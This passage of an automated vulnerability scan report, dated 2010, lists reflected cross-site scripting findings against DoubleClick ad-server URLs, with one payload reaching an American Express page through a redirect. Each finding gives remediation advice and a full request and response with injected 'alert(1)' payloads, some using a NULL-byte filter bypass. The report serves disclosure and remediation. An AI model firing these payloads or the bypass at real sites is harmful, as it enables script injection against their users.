0758201%3B2-0%3B0%3B53180471%3B4307-300/250%3B39167948/39185735/1%3B%3B%7Eokv%3D%3Bpc%3D%5BTPAS_ID%5D%3B%3B%7Esscs%3D%3fhttp://ads.cnn.com/event.ng/Type=click&FlightID=333013&AdID=454128&TargetID=92683d9bbe"-alert(1)-"eda54dc53a0&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,13087,13088,13090,13303,16113,16337,17251,18517,18871,18887,18904,18982,20139,23793,25508,25512,25519,25529,25535,25538,25541,25544,2554
...[SNIP]...

1.10. http://ad.doubleclick.net/adi/N3753.cnn/B4094158.41 [Values parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://ad.doubleclick.net
Path:   /adi/N3753.cnn/B4094158.41

Issue detail

The value of the Values request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c6f9e"-alert(1)-"a5b3702b3c8 was submitted in the Values parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /adi/N3753.cnn/B4094158.41;sz=300x250;pc=[TPAS_ID];click=http://ads.cnn.com/event.ng/Type=click&FlightID=333013&AdID=454128&TargetID=92683&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,13087,13088,13090,13303,16113,16337,17251,18517,18871,18887,18904,18982,20139,23793,25508,25512,25519,25529,25535,25538,25541,25544,25547,25550,25900,29699,29776,30220,31073,31265,31781,31782,32573,32594,33298,33587,33852,34253,36376,37152,37430,37580,38202,38203,38295,39390,39416,40253,40607,41599,41850,42274,42275,42364,42670,42796,42804,42837,42838,42860,43109,43297,43323,43384,43460,43514,43581,43625,43661,43748&Values=1588c6f9e"-alert(1)-"a5b3702b3c8&Redirect=;ord=bufncft,bgnocyRtpqvk? HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://ads.cnn.com/html.ng/site=cnn&cnn_pagetype=main&cnn_position=300x250_rgt&cnn_rollup=technology&page.allowcompete=yes&params.styles=fs&tile=1570051619821&domId=779824
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: ad.doubleclick.net
Proxy-Connection: Keep-Alive
Cookie: test_cookie=CheckForPermission

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sun, 07 Nov 2010 20:30:31 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 33877

<SCRIPT language="JavaScript">
if(typeof(dartCallbackObjects) == "undefined")
var dartCallbackObjects = new Array();
if(typeof(dartCreativeDisplayManagers) == "undefined")
var dartCreativeDisplayM
...[SNIP]...
376,37152,37430,37580,38202,38203,38295,39390,39416,40253,40607,41599,41850,42274,42275,42364,42670,42796,42804,42837,42838,42860,43109,43297,43323,43384,43460,43514,43581,43625,43661,43748&Values=1588c6f9e"-alert(1)-"a5b3702b3c8&Redirect=";
this.clickN = "";
this.type = type;
this.uniqueId = plcrInfo_1288735998848.uniqueId;
this.thirdPartyImpUrl = "";

...[SNIP]...

1.11. http://ad.doubleclick.net/adi/N3753.cnn/B4094158.41 [Values parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://ad.doubleclick.net
Path:   /adi/N3753.cnn/B4094158.41

Issue detail

The value of the Values request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4368b'-alert(1)-'6c087e49e0a was submitted in the Values parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /adi/N3753.cnn/B4094158.41;sz=300x250;pc=[TPAS_ID];click=http://ads.cnn.com/event.ng/Type=click&FlightID=333013&AdID=454128&TargetID=92683&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,13087,13088,13090,13303,16113,16337,17251,18517,18871,18887,18904,18982,20139,23793,25508,25512,25519,25529,25535,25538,25541,25544,25547,25550,25900,29699,29776,30220,31073,31265,31781,31782,32573,32594,33298,33587,33852,34253,36376,37152,37430,37580,38202,38203,38295,39390,39416,40253,40607,41599,41850,42274,42275,42364,42670,42796,42804,42837,42838,42860,43109,43297,43323,43384,43460,43514,43581,43625,43661,43748&Values=15884368b'-alert(1)-'6c087e49e0a&Redirect=;ord=bufncft,bgnocyRtpqvk? HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://ads.cnn.com/html.ng/site=cnn&cnn_pagetype=main&cnn_position=300x250_rgt&cnn_rollup=technology&page.allowcompete=yes&params.styles=fs&tile=1570051619821&domId=779824
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: ad.doubleclick.net
Proxy-Connection: Keep-Alive
Cookie: test_cookie=CheckForPermission

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sun, 07 Nov 2010 20:30:36 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 33877

<SCRIPT language="JavaScript">
if(typeof(dartCallbackObjects) == "undefined")
var dartCallbackObjects = new Array();
if(typeof(dartCreativeDisplayManagers) == "undefined")
var dartCreativeDisplayM
...[SNIP]...
376,37152,37430,37580,38202,38203,38295,39390,39416,40253,40607,41599,41850,42274,42275,42364,42670,42796,42804,42837,42838,42860,43109,43297,43323,43384,43460,43514,43581,43625,43661,43748&Values=15884368b'-alert(1)-'6c087e49e0a&Redirect=http://www.lexus.com/quality/index.html?cid=PTI10NstBBEFORE&video=crash_testing_digitally">
...[SNIP]...

1.12. http://ad.doubleclick.net/adi/N3753.cnn/B4094158.41 [Values parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://ad.doubleclick.net
Path:   /adi/N3753.cnn/B4094158.41

Issue detail

The value of the Values request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload %008a49d'-alert(1)-'813afaade1d was submitted in the Values parameter. This input was echoed as 8a49d'-alert(1)-'813afaade1d in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request

GET /adi/N3753.cnn/B4094158.41;sz=300x250;pc=[TPAS_ID];click=http://ads.cnn.com/event.ng/Type=click&FlightID=333013&AdID=454128&TargetID=92683&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,13087,13088,13090,13303,16113,16337,17251,18517,18871,18887,18904,18982,20139,23793,25508,25512,25519,25529,25535,25538,25541,25544,25547,25550,25900,29699,29776,30220,31073,31265,31781,31782,32573,32594,33298,33587,33852,34253,36376,37152,37430,37580,38202,38203,38295,39390,39416,40253,40607,41599,41850,42274,42275,42364,42670,42796,42804,42837,42838,42860,43109,43297,43323,43384,43460,43514,43581,43625,43661,43748&Values=%008a49d'-alert(1)-'813afaade1d&Redirect=;ord=bufncft,bgnocyRtpqvk? HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://ads.cnn.com/html.ng/site=cnn&cnn_pagetype=main&cnn_position=300x250_rgt&cnn_rollup=technology&page.allowcompete=yes&params.styles=fs&tile=1570051619821&domId=779824
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: ad.doubleclick.net
Proxy-Connection: Keep-Alive
Cookie: test_cookie=CheckForPermission

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Content-Length: 33874
Cache-Control: no-cache
Pragma: no-cache
Date: Sun, 07 Nov 2010 22:42:29 GMT
Expires: Sun, 07 Nov 2010 22:42:29 GMT

<SCRIPT language="JavaScript">
if(typeof(dartCallbackObjects) == "undefined")
var dartCallbackObjects = new Array();
if(typeof(dartCreativeDisplayManagers) == "undefined")
var dartCreativeDisplayM
...[SNIP]...
6376,37152,37430,37580,38202,38203,38295,39390,39416,40253,40607,41599,41850,42274,42275,42364,42670,42796,42804,42837,42838,42860,43109,43297,43323,43384,43460,43514,43581,43625,43661,43748&Values=%008a49d'-alert(1)-'813afaade1d&Redirect=http://www.lexus.com/quality/index.html?cid=PTI10NstBBEFORE&video=crash_testing_digitally">
...[SNIP]...

1.13. http://ad.doubleclick.net/adi/N3753.cnn/B4094158.41 [sz parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://ad.doubleclick.net
Path:   /adi/N3753.cnn/B4094158.41

Issue detail

The value of the sz request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3a148'-alert(1)-'c83e535eaca was submitted in the sz parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /adi/N3753.cnn/B4094158.41;sz=300x250;pc=[TPAS_ID];click=http://ads.cnn.com/event.ng/Type=click3a148'-alert(1)-'c83e535eaca&FlightID=333013&AdID=454128&TargetID=92683&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,13087,13088,13090,13303,16113,16337,17251,18517,18871,18887,18904,18982,20139,23793,25508,25512,25519,25529,25535,25538,25541,25544,25547,25550,25900,29699,29776,30220,31073,31265,31781,31782,32573,32594,33298,33587,33852,34253,36376,37152,37430,37580,38202,38203,38295,39390,39416,40253,40607,41599,41850,42274,42275,42364,42670,42796,42804,42837,42838,42860,43109,43297,43323,43384,43460,43514,43581,43625,43661,43748&Values=1588&Redirect=;ord=bufncft,bgnocyRtpqvk? HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://ads.cnn.com/html.ng/site=cnn&cnn_pagetype=main&cnn_position=300x250_rgt&cnn_rollup=technology&page.allowcompete=yes&params.styles=fs&tile=1570051619821&domId=779824
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: ad.doubleclick.net
Proxy-Connection: Keep-Alive
Cookie: test_cookie=CheckForPermission

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sun, 07 Nov 2010 20:25:55 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 33877

<SCRIPT language="JavaScript">
if(typeof(dartCallbackObjects) == "undefined")
var dartCallbackObjects = new Array();
if(typeof(dartCreativeDisplayManagers) == "undefined")
var dartCreativeDisplayM
...[SNIP]...
ck.net/click%3Bh%3Dv8/3a4b/f/267/%2a/v%3B230758201%3B2-0%3B0%3B53180471%3B4307-300/250%3B39167948/39185735/1%3B%3B%7Eokv%3D%3Bpc%3D%5BTPAS_ID%5D%3B%3B%7Esscs%3D%3fhttp://ads.cnn.com/event.ng/Type=click3a148'-alert(1)-'c83e535eaca&FlightID=333013&AdID=454128&TargetID=92683&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,13087,13088,13090,13303,16113,16337,17251,18517,18871,18887,18904,18982,20139,23793,25508,255
...[SNIP]...

1.14. http://ad.doubleclick.net/adi/N3753.cnn/B4094158.41 [sz parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://ad.doubleclick.net
Path:   /adi/N3753.cnn/B4094158.41

Issue detail

The value of the sz request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 90d8e"-alert(1)-"93dfd59bbb0 was submitted in the sz parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /adi/N3753.cnn/B4094158.41;sz=300x250;pc=[TPAS_ID];click=http://ads.cnn.com/event.ng/Type=click90d8e"-alert(1)-"93dfd59bbb0&FlightID=333013&AdID=454128&TargetID=92683&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,13087,13088,13090,13303,16113,16337,17251,18517,18871,18887,18904,18982,20139,23793,25508,25512,25519,25529,25535,25538,25541,25544,25547,25550,25900,29699,29776,30220,31073,31265,31781,31782,32573,32594,33298,33587,33852,34253,36376,37152,37430,37580,38202,38203,38295,39390,39416,40253,40607,41599,41850,42274,42275,42364,42670,42796,42804,42837,42838,42860,43109,43297,43323,43384,43460,43514,43581,43625,43661,43748&Values=1588&Redirect=;ord=bufncft,bgnocyRtpqvk? HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://ads.cnn.com/html.ng/site=cnn&cnn_pagetype=main&cnn_position=300x250_rgt&cnn_rollup=technology&page.allowcompete=yes&params.styles=fs&tile=1570051619821&domId=779824
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: ad.doubleclick.net
Proxy-Connection: Keep-Alive
Cookie: test_cookie=CheckForPermission

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sun, 07 Nov 2010 20:25:51 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 33877

<SCRIPT language="JavaScript">
if(typeof(dartCallbackObjects) == "undefined")
var dartCallbackObjects = new Array();
if(typeof(dartCreativeDisplayManagers) == "undefined")
var dartCreativeDisplayM
...[SNIP]...
ck.net/click%3Bh%3Dv8/3a4b/f/267/%2a/v%3B230758201%3B2-0%3B0%3B53180471%3B4307-300/250%3B39167948/39185735/1%3B%3B%7Eokv%3D%3Bpc%3D%5BTPAS_ID%5D%3B%3B%7Esscs%3D%3fhttp://ads.cnn.com/event.ng/Type=click90d8e"-alert(1)-"93dfd59bbb0&FlightID=333013&AdID=454128&TargetID=92683&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,13087,13088,13090,13303,16113,16337,17251,18517,18871,18887,18904,18982,20139,23793,25508,255
...[SNIP]...

1.15. http://ad.doubleclick.net/click [openeep parameter]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://ad.doubleclick.net
Path:   /click

Issue detail

The value of the openeep request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload %00beadb"><script>alert(1)</script>b6fcc999ce6 was submitted in the openeep parameter. This input was echoed as beadb"><script>alert(1)</script>b6fcc999ce6 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Remediation detail

NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request

GET /click;h=v8/3a4b/3/0/*/b;225951674;0-0;0;50225885;3454-728/90;38191273/38209030/1;u=,idgt-55866125_1289161531,11c4bc59fd87e17,virtualization,idgt.virtualization_l;~aopt=0/ff/b1/ff;~fdr=232332479;0-0;0;41948520;3454-728/90;37518341/37536219/1;u=,idgt-55866125_1289161531,11c4bc59fd87e17,virtualization,idgt.virtualization_l;~aopt=2/1/b1/0;~sscs=?http:/www201.americanexpress.com/sbsapp/FMACServlet?request_type=alternateChannels&lpid=298&openeep=17217\%00beadb"><script>alert(1)</script>b6fcc999ce6 HTTP/1.1
Host: ad.doubleclick.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: id=c872a402e000091||t=1289161520|et=730|cs=_e0c2qc9; test_cookie=CheckForPermission;

Response (redirected)

HTTP/1.1 200 OK
Date: Sun, 07 Nov 2010 22:44:08 GMT
Server: IBM_HTTP_Server
Set-Cookie: SaneID=174.122.23.218-1289169848657271; path=/; expires=Wed, 11-Nov-15 22:44:08 GMT; domain=.americanexpress.com
Set-Cookie: JSESSIONID=0000p-N9wnrmrejTLfuFP-S2b-M:1115nbtvb;Path=/
Cache-Control: no-cache="set-cookie,set-cookie2"
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Connection: close
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Content-Length: 13386


                                                <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3
...[SNIP]...
<a href="https://www201.americanexpress.com/sbsapply/EACQServlet?request_type=applyNow&amp;ct=24&amp;bos=b&eep=17217.beadb"><script>alert(1)</script>b6fcc999ce6" title="APPLY NOW &raquo;">
...[SNIP]...

Report generated by Hoyt LLC at Sun Nov 07 17:37:46 CST 2010.